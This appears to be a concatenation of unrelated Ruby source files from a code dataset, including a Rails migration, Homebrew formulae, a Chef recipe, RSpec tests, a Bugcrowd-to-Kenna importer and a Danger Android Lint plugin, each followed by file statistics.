'index_expenses_on_amount' add_index :expenses, :split_method, name: 'index_expenses_on_split_method' add_index :expenses, :expense_category_id, name: 'index_expenses_on_expense_category_id' add_index :expenses, :currency_id, name: 'index_expenses_on_currency_id' add_index :expenses, :friend_id, name: 'index_expenses_on_friend_id' add_index :expenses, :created_at, name: 'index_expenses_on_created_at' add_index :expenses, :updated_at, name: 'index_expenses_on_updated_at' add_index :activities, :title, name: 'index_activities_on_title' add_index :activities, :description, name: 'index_activities_on_description' add_index :activities, :created_at, name: 'index_activities_on_created_at' add_index :activities, :updated_at, name: 'index_activities_on_updated_at' add_index :activities, :deleted_at, name: 'index_activities_on_deleted_at' add_index :expense_categories, :name, name: 'index_expense_categories_on_name' add_index :expense_categories, :expense_category_group, name: 'index_expense_categories_on_expense_category_group' add_index :expense_categories, :created_at, name: 'index_expense_categories_on_created_at' add_index :expense_categories, :updated_at, name: 'index_expense_categories_on_updated_at' add_index :currencies, :symbol, name: 'index_currencies_on_symbol' add_index :currencies, :name, name: 'index_currencies_on_name' add_index :currencies, :symbol_native, name: 'index_currencies_on_symbol_native' add_index :currencies, :decimal_digits, name: 'index_currencies_on_decimal_digits' add_index :currencies, :rounding, name: 'index_currencies_on_rounding' add_index :currencies, :code, name: 'index_currencies_on_code' add_index :currencies, :name_plural, name: 'index_currencies_on_name_plural' add_index :currencies, :created_at, name: 'index_currencies_on_created_at' add_index :currencies, :updated_at, name: 'index_currencies_on_updated_at' add_index :countries, :iso, name: 'index_countries_on_iso' add_index :countries, :name, name: 'index_countries_on_name' add_index :countries, :nice_name, name: 'index_countries_on_nice_name' add_index :countries, :iso3, name: 'index_countries_on_iso3' add_index :countries, :num_code, name: 'index_countries_on_num_code' add_index :countries, :phone_code, name: 'index_countries_on_phone_code' add_index :countries, :created_at, name: 'index_countries_on_created_at' add_index :countries, :updated_at, name: 'index_countries_on_updated_at' end end
60.6
118
0.784971
11610bf934c9683da08984877a66693fab5cfbd8
2,361
class Terraform < Formula desc "Tool to build, change, and version infrastructure" homepage "https://www.terraform.io/" url "https://github.com/hashicorp/terraform/archive/v0.12.16.tar.gz" sha256 "ccdcbce56c70a5d23272692320f49d48cd821a9d91b900f538a37069f31be731" head "https://github.com/hashicorp/terraform.git" bottle do cellar :any_skip_relocation sha256 "ddb02c7ddf6d33a7acf3e71d5ddcc81e71791f2a63d95a04bcbd89d658102a5c" => :catalina sha256 "a0dc81636a6e741ea4ec4fafbd3e4acacce060bce985c3791ecd5191e693f8c5" => :mojave sha256 "0d14d96a594d8f35dec15aca851c3f1e6781d27da89191a1e3af74eef76cbc84" => :high_sierra sha256 "d8b61904b44cd8e55584437b3a13e7b17cb268af2e109a25bf6d906571b2797d" => :x86_64_linux end depends_on "go" => :build depends_on "gox" => :build conflicts_with "tfenv", :because => "tfenv symlinks terraform binaries" def install ENV["GOPATH"] = buildpath ENV["GO111MODULE"] = "on" unless OS.mac? ENV.prepend_create_path "PATH", buildpath/"bin" dir = buildpath/"src/github.com/hashicorp/terraform" dir.install buildpath.children - [buildpath/".brew_home"] cd dir do # v0.6.12 - source contains tests which fail if these environment variables are set locally. ENV.delete "AWS_ACCESS_KEY" ENV.delete "AWS_SECRET_KEY" os = OS.mac? ? "darwin" : "linux" ENV["XC_OS"] = os ENV["XC_ARCH"] = "amd64" system "make", "tools", "bin" bin.install "pkg/#{os}_amd64/terraform" prefix.install_metafiles end end test do minimal = testpath/"minimal.tf" minimal.write <<~EOS variable "aws_region" { default = "us-west-2" } variable "aws_amis" { default = { eu-west-1 = "ami-b1cf19c6" us-east-1 = "ami-de7ab6b6" us-west-1 = "ami-3f75767a" us-west-2 = "ami-21f78e11" } } # Specify the provider and access details provider "aws" { access_key = "this_is_a_fake_access" secret_key = "this_is_a_fake_secret" region = var.aws_region } resource "aws_instance" "web" { instance_type = "m1.small" ami = var.aws_amis[var.aws_region] count = 4 } EOS system "#{bin}/terraform", "init" system "#{bin}/terraform", "graph" end end
30.662338
98
0.657772
2620377871f227d3fdd3cdf62a785d8f345edfde
1,594
# frozen_string_literal: true module OnlineMigrations # @private class IndexDefinition attr_reader :table, :columns, :unique, :opclasses, :where, :type, :using def initialize(**options) @table = options[:table] @columns = Array(options[:columns]).map(&:to_s) @unique = options[:unique] @opclasses = options[:opclass] || {} @where = options[:where] @type = options[:type] @using = options[:using] || :btree end # @param other [OnlineMigrations::IndexDefinition, ActiveRecord::ConnectionAdapters::IndexDefinition] def intersect?(other) # For ActiveRecord::ConnectionAdapters::IndexDefinition is for expression indexes, # `columns` is a string table == other.table && (columns & Array(other.columns)).any? end # @param other [OnlineMigrations::IndexDefinition, ActiveRecord::ConnectionAdapters::IndexDefinition] def covered_by?(other) return false if type != other.type return false if using != other.using return false if where != other.where return false if other.respond_to?(:opclasses) && opclasses != other.opclasses case [unique, other.unique] when [true, true] columns == other.columns when [true, false] false else prefix?(self, other) end end private def prefix?(lhs, rhs) lhs_columns = Array(lhs.columns) rhs_columns = Array(rhs.columns) lhs_columns.count <= rhs_columns.count && rhs_columns[0...lhs_columns.count] == lhs_columns end end end
30.075472
105
0.642409
d5b156496baf1a9bf75f53705c09d939b38c742a
825
cask "font-iosevka-curly-slab" do version "11.2.7" sha256 "a3c9001b60808376dbf4fa20f08328ef1e6e1abf94d21b8db67c55eb47ff1f83" url "https://github.com/be5invis/Iosevka/releases/download/v#{version}/ttc-iosevka-curly-slab-#{version}.zip" name "Iosevka Curly Slab" desc "Sans-serif, slab-serif, monospace and quasi‑proportional typeface family" homepage "https://github.com/be5invis/Iosevka/" livecheck do url :url strategy :github_latest end font "iosevka-curly-slab-bold.ttc" font "iosevka-curly-slab-extrabold.ttc" font "iosevka-curly-slab-extralight.ttc" font "iosevka-curly-slab-heavy.ttc" font "iosevka-curly-slab-light.ttc" font "iosevka-curly-slab-medium.ttc" font "iosevka-curly-slab-regular.ttc" font "iosevka-curly-slab-semibold.ttc" font "iosevka-curly-slab-thin.ttc" end
33
111
0.755152
1d2895a69aa829697dfb9a2ec6840211a7f5dfcf
3,820
require 'rails_helper' require 'support/simple_calendar_date_chooser' include SimpleCalendarDateChooser RSpec.describe 'Accompaniment leader viewing and reporting on accompaniments', type: :feature do let(:community) { create :community, :primary } let(:region) { community.region } let(:team_leader) { create(:user, :accompaniment_leader, community: community) } let!(:activity) { create(:activity, occur_at: 1.week.from_now, region: region, confirmed: true) } let!(:activity_type) { create :activity_type } let!(:accompaniment) { create(:accompaniment, user: team_leader, activity: activity) } let(:accompaniment_listing) { "#{activity.activity_type.name.titlecase} for #{activity.friend.first_name} at #{activity.location.name}" } before do login_as(team_leader) end describe 'viewing upcoming accompaniments' do before do visit community_accompaniment_leader_activities_path(community) change_month(activity.occur_at) end it 'displays full details of upcoming accompaniments' do activity.activity_type = activity_type expect(page).to have_content(accompaniment_listing) end describe 'when the team leader is attending an activity' do it 'lists me as "Team Leader" for the activity' do click_link accompaniment_listing within "#modal_activity_#{activity.id}" do expect(page).to have_content("Accompaniment Leaders: #{team_leader.name}") end end end end describe 'creating an accompaniment report' do before do visit new_community_accompaniment_leader_activity_accompaniment_report_path(community, activity) end describe 'with valid info' do it 'displays a flash message that my accompaniment leader notes were addded' do fill_in 'Outcome of hearing', with: 'outcome' fill_in 'Notes', with: 'Test notes' fill_in 'Judge-imposed asylum application deadline', with: '5/31/2020' check 'Has a Lawyer' fill_in 'Lawyer Name', with: 'Susan Example' click_button 'Save' within '.alert' do expect(page).to have_content 'Your accompaniment leader notes were added.' end updated_friend = activity.friend.reload expect(updated_friend.judge_imposed_i589_deadline.to_date).to eq Date.new(2020, 5, 31) expect(updated_friend.has_a_lawyer?).to be_truthy expect(updated_friend.lawyer_name).to eq 'Susan Example' end end describe 'with invalid info' do it 'displays a flash message that my accompaniment report was NOT created' do click_button 'Save' within '.alert' do expect(page).to have_content 'There was an error saving your accompaniment leader notes.' end end end end describe 'editing an accompaniment report' do let!(:accompaniment_report) { create(:accompaniment_report, activity: activity, user: team_leader)} before do report = team_leader.accompaniment_report_for(activity) visit edit_community_accompaniment_leader_activity_accompaniment_report_path(community, activity, report) end describe 'with valid info' do it 'displays a flash message that my accompaniment report was updated' do fill_in 'Notes', with: 'Edited test notes' click_button 'Save' within '.alert' do expect(page).to have_content 'Your accompaniment leader notes were saved.' end end end describe 'with invalid info' do it 'displays a flash message that my accompaniment report was NOT updated' do fill_in 'Notes', with: '' click_button 'Save' within '.alert' do expect(page).to have_content 'There was an error saving your accompaniment leader notes.' end end end end end
37.821782
139
0.703403
388e14e94ced3960b71339825013dbe194d1c195
1,708
# # Cookbook Name:: nomad # Recipe:: manage # # Copyright 2015-2018, Nathan Williams <[email protected]> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. systemd_unit 'nomad.service' do content <<~EOT.gsub('DAEMON_ARGS', node['nomad']['daemon_args'].to_args) [Unit] Description = Nomad Cluster Manager Documentation = https://www.nomadproject.io/docs/index.html [Service] ExecStart = /usr/local/sbin/nomad agent DAEMON_ARGS Restart = on-failure [Install] WantedBy = multi-user.target EOT only_if { NomadCookbook::Helpers.systemd? } notifies :restart, 'service[nomad]', :delayed action :create end template '/etc/init/nomad.conf' do source 'upstart.conf.erb' variables daemon_args: node['nomad']['daemon_args'].to_args only_if { NomadCookbook::Helpers.upstart? } notifies :restart, 'service[nomad]', :delayed action :create end service 'nomad' do provider(Chef::Provider::Service::Upstart) if NomadCookbook::Helpers.upstart? action %i(enable start) subscribes :restart, 'nomad_config[00-default]', :delayed subscribes :restart, 'nomad_client_config[00-default]', :delayed subscribes :restart, 'nomad_server_config[00-default]', :delayed end
32.846154
79
0.735948
bb97036cf385ab40cd1f5f534fd1379094dfcbec
92
# frozen_string_literal: true module Cms def self.table_name_prefix 'cms_' end end
11.5
29
0.73913
61c7fe3e40fb4663b11fb7ba7b10b055cfc42f40
9,222
# frozen_string_literal: true require_relative "lib/bugcrowd_client" module Kenna module Toolkit class BugcrowdTask < Kenna::Toolkit::BaseTask def self.metadata { id: "bugcrowd", name: "Bugcrowd", description: "Pulls assets and findings from Bugcrowd", options: [ { name: "bugcrowd_api_user", type: "string", required: true, default: nil, description: "Bugcrowd API user" }, { name: "bugcrowd_api_password", type: "string", required: true, default: nil, description: "Bugcrowd API password" }, { name: "bugcrowd_api_host", type: "hostname", required: false, default: "api.bugcrowd.com", description: "Bugcrowd hostname, e.g. api.bugcrowd.com" }, { name: "batch_size", type: "integer", required: false, default: 100, description: "Maximum number of submissions to retrieve in batches. Bugcrowd API max value is 100." }, { name: "include_duplicated", type: "boolean", required: false, default: false, description: "Indicates whether to include duplicated submissions, defaults to false." }, { name: "severity", type: "string", required: false, default: nil, description: "Limit results to a list of severity values ranging from 1 to 5 (comma separated). Only a maximum of 4 values are allowed." }, { name: "state", type: "string", required: false, default: nil, description: "Limit results to a list of [new, out_of_scope, not_applicable, not_reproducible, triaged, unresolved, resolved, informational]." }, { name: "source", type: "string", required: false, default: nil, description: "Limit results to a list of [api, csv, platform, qualys, external_form, email, jira]." }, { name: "submitted_from", type: "date", required: false, default: nil, description: "Get results above date. Use YYYY-MM-DD format." }, { name: "kenna_api_key", type: "api_key", required: false, default: nil, description: "Kenna API Key" }, { name: "kenna_api_host", type: "hostname", required: false, default: "api.kennasecurity.com", description: "Kenna API Hostname" }, { name: "kenna_connector_id", type: "integer", required: false, default: nil, description: "If set, we'll try to upload to this connector" }, { name: "output_directory", type: "filename", required: false, default: "output/bugcrowd", description: "If set, will write a file upon completion. Path is relative to #{$basedir}" } ] } end def run(opts) super initialize_options initialize_client offset = 0 loop do response = client.get_submissions(offset, @batch_size, submissions_filter) response[:issues].each do |issue| asset = extract_asset(issue) finding = extract_finding(issue) definition = extract_definition(issue) create_kdi_asset_finding(asset, finding) create_kdi_vuln_def(definition) end print_good("Processed #{offset + response[:count]} of #{response[:total_hits]} submissions.") break unless (response[:count]).positive? kdi_upload(@output_directory, "bugcrowd_submissions_report_#{offset}.json", @kenna_connector_id, @kenna_api_host, @kenna_api_key, @skip_autoclose, @retries, @kdi_version) offset += response[:count] print_error "Reached max Bugcrowd API offset value of 9900" if offset > 9900 end kdi_connector_kickoff(@kenna_connector_id, @kenna_api_host, @kenna_api_key) rescue Kenna::Toolkit::Bugcrowd::Client::ApiError => e fail_task e.message end private attr_reader :client def initialize_client @client = Kenna::Toolkit::Bugcrowd::Client.new(@host, @api_user, @api_password) end def initialize_options @host = @options[:bugcrowd_api_host] @api_user = @options[:bugcrowd_api_user] @api_password = @options[:bugcrowd_api_password] @output_directory = @options[:output_directory] @kenna_api_host = @options[:kenna_api_host] @kenna_api_key = @options[:kenna_api_key] @kenna_connector_id = @options[:kenna_connector_id] @batch_size = @options[:batch_size].to_i @skip_autoclose = false @retries = 3 @kdi_version = 2 print_error "Max batch_size value is 100." if @batch_size > 100 end def submissions_filter { include_duplicated: @options[:include_duplicated].nil? ? false : @options[:include_duplicated], severity: @options[:severity], state: @options[:state], source: @options[:source], submitted: @options[:submitted_from].nil? ? "" : "from.#{@options[:submitted_from]}" } end def extract_list(key, default = nil) list = (@options[key] || "").split(",").map(&:strip) list.empty? ? default : list end def valid_uri?(string) uri = URI.parse(string) %w[http https].include?(uri.scheme) rescue URI::BadURIError, URI::InvalidURIError false end def extract_asset(issue) # This was decided by sebastian.calvo and maybe is wrong but it's something to start on # 1. bug_url is a non required field in bugcrowd, but when present, can be any string, there is no validation # 2. target sometimes is nil # 3. program must be present asset = {} url = issue["attributes"]["bug_url"] external_id = (issue["target"] && issue["target"]["name"]) || issue["program"]["name"] if url.nil? || url.empty? || !valid_uri?(url) print_error "Cannot build an asset locator. This should no happen. Review you data" if external_id.nil? || external_id.empty? asset[:external_id] = external_id else asset[:url] = url end asset[:application] = external_id asset.compact end def extract_finding(issue) { "scanner_identifier" => issue["id"], "scanner_type" => "Bugcrowd", "vuln_def_name" => issue["attributes"]["vrt_id"], "severity" => (issue["attributes"]["severity"] || 0) * 2, # Bugcrowd severity is [1..5] "triage_state" => map_state_to_triage_state(issue["attributes"]["state"]), "additional_fields" => extract_additional_fields(issue), "created_at" => issue["attributes"]["submitted_at"] }.compact end def extract_definition(issue) { "name" => issue["attributes"]["vrt_id"], "solution" => issue["attributes"]["remediation_advice"], "scanner_type" => "Bugcrowd", "cwe_identifiers" => extract_cwe_identifiers(issue) }.compact end def extract_additional_fields(issue) fields = {} fields["Title"] = issue["attributes"]["title"] fields["Description"] = Sanitize.fragment(issue["attributes"]["description"]) fields["Custom Fields"] = issue["attributes"]["custom_fields"] unless issue["attributes"]["custom_fields"].blank? fields["Extra Info"] = issue["attributes"]["extra_info"] unless issue["attributes"]["extra_info"].blank? fields["HTTP Request"] = issue["attributes"]["http_request"] unless issue["attributes"]["http_request"].blank? fields["Vulnerability References"] = issue["attributes"]["vulnerability_references"].split("* ").select(&:present?).map { |link| link[/\[(.*)\]/, 1] }.join("\n\n") unless issue["attributes"]["vulnerability_references"].blank? fields["Source"] = issue["attributes"]["source"] unless issue["attributes"]["source"].blank? fields["Program"] = issue["program"] unless issue["program"]["name"].blank? fields["Organization"] = issue["organization"] unless issue["organization"]["name"].blank? fields end def extract_cwe_identifiers(issue) tokens = issue["attributes"]["vrt_id"].split(".") cwe = nil while !tokens.empty? && cwe.nil? cwe = client.cwe_map[tokens.join(".")] tokens.pop end cwe&.join(", ") end def map_state_to_triage_state(bugcrowd_state) case bugcrowd_state when "new", "triaged", "resolved" bugcrowd_state when "unresolved" "in_progress" else "not_a_security_issue" end end end end end
39.579399
233
0.577749
b9312ce9c87b5d0d2d825b6f1dc2621f33691699
186
require "govuk_tables/version" require "govuk_tables/table" require "govuk_tables/railtie" require "govuk_tables/table_helper" module GovukTables class Error < StandardError; end end
20.666667
35
0.822581
4a7e12fc27b781975f7c95aabd432c375dad707b
32
module ConfigurationsHelper end
10.666667
27
0.90625
1aead464be131d81e265ff1617e5182856881323
6,154
=begin #Cloudsmith API #The API to the Cloudsmith Service OpenAPI spec version: v1 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.2.3 =end require 'date' module CloudsmithApi class PackagesUploadComposer # The primary file for the package. attr_accessor :package_file # If true, the uploaded package will overwrite any others with the same attributes (e.g. same version); otherwise, it will be flagged as a duplicate. attr_accessor :republish # A comma-separated values list of tags to add to the package. attr_accessor :tags # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'package_file' => :'package_file', :'republish' => :'republish', :'tags' => :'tags' } end # Attribute type mapping. def self.swagger_types { :'package_file' => :'String', :'republish' => :'BOOLEAN', :'tags' => :'String' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v} if attributes.has_key?(:'package_file') self.package_file = attributes[:'package_file'] end if attributes.has_key?(:'republish') self.republish = attributes[:'republish'] end if attributes.has_key?(:'tags') self.tags = attributes[:'tags'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properies with the reasons def list_invalid_properties invalid_properties = Array.new if @package_file.nil? invalid_properties.push("invalid value for 'package_file', package_file cannot be nil.") end return invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if @package_file.nil? return true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && package_file == o.package_file && republish == o.republish && tags == o.tags end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [package_file, republish, tags].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } ) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = CloudsmithApi.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map{ |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
28.623256
153
0.621222
f8f28adedaf0be8b00139c72887fe91afbb60585
8,370
module Danger # Lint files of a gradle based Android project. # This is done using the Android's [Lint](https://developer.android.com/studio/write/lint.html) tool. # Results are passed out as tables in markdown. # # @example Running AndroidLint with its basic configuration # # android_lint.lint # # @example Running AndroidLint with a specific gradle task # # android_lint.gradle_task = "lintMyFlavorDebug" # android_lint.lint # # @example Running AndroidLint without running a Gradle task # # android_lint.skip_gradle_task = true # android_lint.lint # # @example Running AndroidLint for a specific severity level and up # # # options are ["Warning", "Error", "Fatal"] # android_lint.severity = "Error" # android_lint.lint # # @see loadsmart/danger-android_lint # @tags android, lint # class DangerAndroidLint < Plugin SEVERITY_LEVELS = %w[Warning Error Fatal] CUSTOM_LINT_RULES = %w[UseAttrColor LogNotTimber] REMOTE_CALL_PLUGIN_PORT = "8091" # Location of lint report file # If your Android lint task outputs to a different location, you can specify it here. # Defaults to "app/build/reports/lint/lint-result.xml". # @return [String] attr_accessor :report_file # A getter for `report_file`. # @return [String] def report_file return @report_file || 'app/build/reports/lint/lint-result.xml' end # Custom gradle task to run. # This is useful when your project has different flavors. # Defaults to "lint". # @return [String] attr_accessor :gradle_task # A getter for `gradle_task`, returning "lint" if value is nil. # @return [String] def gradle_task @gradle_task ||= "lint" end # Skip Gradle task. # This is useful when Gradle task has been already executed. # Defaults to `false`. # @return [Bool] attr_writer :skip_gradle_task # A getter for `skip_gradle_task`, returning `false` if value is nil. # @return [Boolean] def skip_gradle_task @skip_gradle_task ||= false end # Defines the severity level of the execution. # Selected levels are the chosen one and up. # Possible values are "Warning", "Error" or "Fatal". # Defaults to "Warning". # @return [String] attr_writer :severity # A getter for `severity`, returning "Warning" if value is nil. # @return [String] def severity @severity || SEVERITY_LEVELS.first end # Enable filtering # Only show messages within changed files. attr_accessor :filtering # Only shows messages for the modified lines. attr_accessor :filtering_lines # Show issue id attr_accessor :show_issue_id # Fail if report file contains any issues attr_accessor :fail_on_issues # Calls lint task of your gradle project. # It fails if `gradlew` cannot be found inside current directory. # It fails if `severity` level is not a valid option. # It fails if `xmlReport` configuration is not set to `true` in your `build.gradle` file. # @return [void] # def lint(inline_mode: false) unless skip_gradle_task return fail("Could not find `gradlew` inside current directory") unless gradlew_exists? end unless SEVERITY_LEVELS.include?(severity) fail("'#{severity}' is not a valid value for `severity` parameter.") return end unless skip_gradle_task system "./gradlew #{gradle_task}" end unless File.exists?(report_file) fail("Lint report not found at `#{report_file}`. "\ "Have you forgot to add `xmlReport true` to your `build.gradle` file?") end issues = read_issues_from_report filtered_issues = filter_issues_by_severity(issues) message = "" if inline_mode # Report with inline comment send_inline_comment(filtered_issues) else message = message_for_issues(filtered_issues) markdown("### AndroidLint found issues\n\n" + message) unless message.to_s.empty? end message end private def read_issues_from_report file = File.open(report_file) require 'oga' report = Oga.parse_xml(file) report.xpath('//issue') end def filter_issues_by_severity(issues) issues.select do |issue| severity_index(issue.get("severity")) >= severity_index(severity) end end def severity_index(severity) SEVERITY_LEVELS.index(severity) || 0 end def message_for_issues(issues) message = "" SEVERITY_LEVELS.reverse.each do |level| filtered = issues.select{|issue| issue.get("severity") == level} message << parse_results(filtered, level) unless filtered.empty? end message end def parse_results(results, heading) target_files = (git.modified_files - git.deleted_files) + git.added_files dir = "#{Dir.pwd}/" count = 0; message = "" results.each do |r| location = r.xpath('location').first filename = location.get('file').gsub(dir, "") next unless !filtering || (target_files.include? filename) line = location.get('line') || 'N/A' reason = r.get('message') count = count + 1 message << "`#{filename}` | #{line} | #{reason} \n" end if count != 0 header = "#### #{heading} (#{count})\n\n" header << "| File | Line | Reason |\n" header << "| ---- | ---- | ------ |\n" message = header + message end message end # Send inline comment with danger's warn or fail method # # @return [void] def send_inline_comment (issues) target_files = (git.modified_files - git.deleted_files) + git.added_files dir = "#{Dir.pwd}/" SEVERITY_LEVELS.reverse.each do |level| filtered = issues.select{|issue| issue.get("severity") == level} next if filtered.empty? filtered.each do |r| location = r.xpath('location').first filename = location.get('file').gsub(dir, "") next unless (!filtering && !filtering_lines) || (target_files.include? filename) line = (location.get('line') || "0").to_i if filtering_lines added_lines = parseDiff(git.diff[filename].patch) next unless added_lines.include? line end send(level === "Warning" ? "warn" : "fail", get_message(r, filename, line), file: filename, line: line) end fail 'Android Lint has found some issues' if fail_on_issues end end def get_message(issue, filename, line) if show_issue_id issue_id = issue.get("id") id_description = CUSTOM_LINT_RULES.include?(issue_id) ? "#{issue_id}" : google_lint_issue_description(issue_id) # Special format of string for creating code block in Github with 'Copy' button. file_path = """\n```\n#{filename}:#{line}\n```\n""" open_link = "[Open in Android Studio](http://localhost:#{REMOTE_CALL_PLUGIN_PORT}?message=#{filename}:#{line})" "#{id_description}: #{issue.get("message")} \n\n**Scroll to copy file name**\n#{file_path}\n\n#{open_link}" else issue.get("message") end end def google_lint_issue_description(issue_id) "[#{issue_id}](http://googlesamples.github.io/android-custom-lint-rules/checks/#{issue_id}.md.html)" end # parses git diff of a file and retuns an array of added line numbers. def parseDiff(diff) current_line_number = nil added_lines = [] diff_lines = diff.strip.split("\n") diff_lines.each_with_index do |line, index| if m = /\+(\d+)(?:,\d+)? @@/.match(line) # (e.g. @@ -32,10 +32,7 @@) current_line_number = Integer(m[1]) else if !current_line_number.nil? if line.start_with?('+') # added line added_lines.push current_line_number current_line_number += 1 elsif !line.start_with?('-') # unmodified line current_line_number += 1 end end end end added_lines end def gradlew_exists? `ls gradlew`.strip.empty? == false end end end
31.115242
119
0.623895
79eab5d80cec1626eba35b11d67e52f87e8690ce
2,525
module AppEarnings::Amazon # Generates a report based on the data provided class Reporter AVAILABLE_FORMATS = %w(json text) attr_accessor :data def initialize(data) @data = data @payments_data = @data.find { |r| r[:report_type] == :payments } @earnings_data = (@data - [@payments_data]).first @exchange_info = fetch_exchange_info end def fetch_exchange_info @payments_amount = 0.0 @payments_data[:summary].reduce({}) do |all_info, data| all_info[data[:marketplace]] = data[:fx_rate] @payments_amount += data[:total_payment].gsub(/,/, '').to_f all_info end end def full_amount total = @reports.reduce(0.0) { |a, e| a + e.amount.to_f } total - refunds end def refunds @earnings_data[:summary].reduce(0.0) do |sum, marketplace| currency = marketplace[:marketplace] amount = marketplace[:refunds].gsub(/\(|\)/, '').to_f amount = amount * @exchange_info[currency].to_f if currency != 'USD' sum += amount sum end end def generate @reports = [] @data.each do |raw_data| if raw_data[:report_type] == :earnings by_apps = raw_data[:details].group_by { |element| element[:app] } .sort_by { |app| app } by_apps.each do |key, application| @reports << AmazonReport.new(key, application, @exchange_info) end end end end def report_as(format = 'text') unless AVAILABLE_FORMATS.include?(format) fail "#{format} Not supported. Available formats are: " + " #{AVAILABLE_FORMATS.join(", ")}" end generate render_as(format) end def render_as(format = 'text') case format when 'text' as_text when 'json' as_json end end def as_text amount = AppEarnings::Report.formatted_amount('USD', full_amount) refund = AppEarnings::Report.formatted_amount('USD', refunds) payments = AppEarnings::Report.formatted_amount('USD', @payments_amount) puts @reports puts "Total of refunds: #{refund}" puts "Total of all transactions: #{amount}" puts "Total from Payment Report: #{payments}" if amount != payments @reports end def as_json puts JSON.generate(apps: @reports.map(&:to_json), currency: 'USD', total: full_amount) end end end
28.370787
78
0.585743
e8d763225eac1dc1cab4ad7f24d8a52bb082cee1
1,815
# frozen_string_literal: true Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped # and recreated between test runs. Don't rely on the data there! config.cache_classes = true # Do not eager load code on boot. This avoids loading your whole application # just for the purpose of running a single test. If you are using a tool that # preloads Rails for running tests, you may have to set it to true. config.eager_load = false # Configure public file server for tests with Cache-Control for performance. config.public_file_server.enabled = true config.public_file_server.headers = { 'Cache-Control' => 'public, max-age=3600' } # Show full error reports and disable caching. config.consider_all_requests_local = true config.action_controller.perform_caching = true config.cache_store = :memory_store # Raise exceptions instead of rendering exception templates. config.action_dispatch.show_exceptions = false # Disable request forgery protection in test environment. config.action_controller.allow_forgery_protection = false config.action_mailer.perform_caching = false # Tell Action Mailer not to deliver emails to the real world. # The :test delivery method accumulates sent emails in the # ActionMailer::Base.deliveries array. config.action_mailer.delivery_method = :test # Print deprecation notices to the stderr. config.active_support.deprecation = :stderr # Raises error for missing translations # config.action_view.raise_on_missing_translations = true end
39.456522
85
0.773554
395f75747494eb8807c2a893e341897e97cadb5a
930
class LtcTools < Formula desc "Tools to deal with linear-timecode (LTC)" homepage "https://github.com/x42/ltc-tools" url "https://github.com/x42/ltc-tools/archive/v0.6.4.tar.gz" sha256 "8fc9621df6f43ab24c65752a9fee67bee6625027c19c088e5498d2ea038a22ec" revision 1 head "https://github.com/x42/ltc-tools.git" bottle do cellar :any sha256 "f56c26db84aa0873f46e8431dbee7cee0f6060955cdc9f7747899d0a6fa10604" => :sierra sha256 "3933abca95b5d7ec5c00222743963f3091464f4c0f577a51c35ca7cb11d57479" => :el_capitan sha256 "660401226bf452b88ef65a043577a0693bcdb7518ef885e5ea9d83d33da2bfbd" => :yosemite end depends_on "pkg-config" => :build depends_on "help2man" => :build depends_on "libltc" depends_on "libsndfile" depends_on "jack" def install system "make", "install", "PREFIX=#{prefix}" end test do system bin/"ltcgen", "test.wav" system bin/"ltcdump", "test.wav" end end
30
92
0.746237
9123fddcdcf71465fc44895bbf0d4f5407f90db6
683
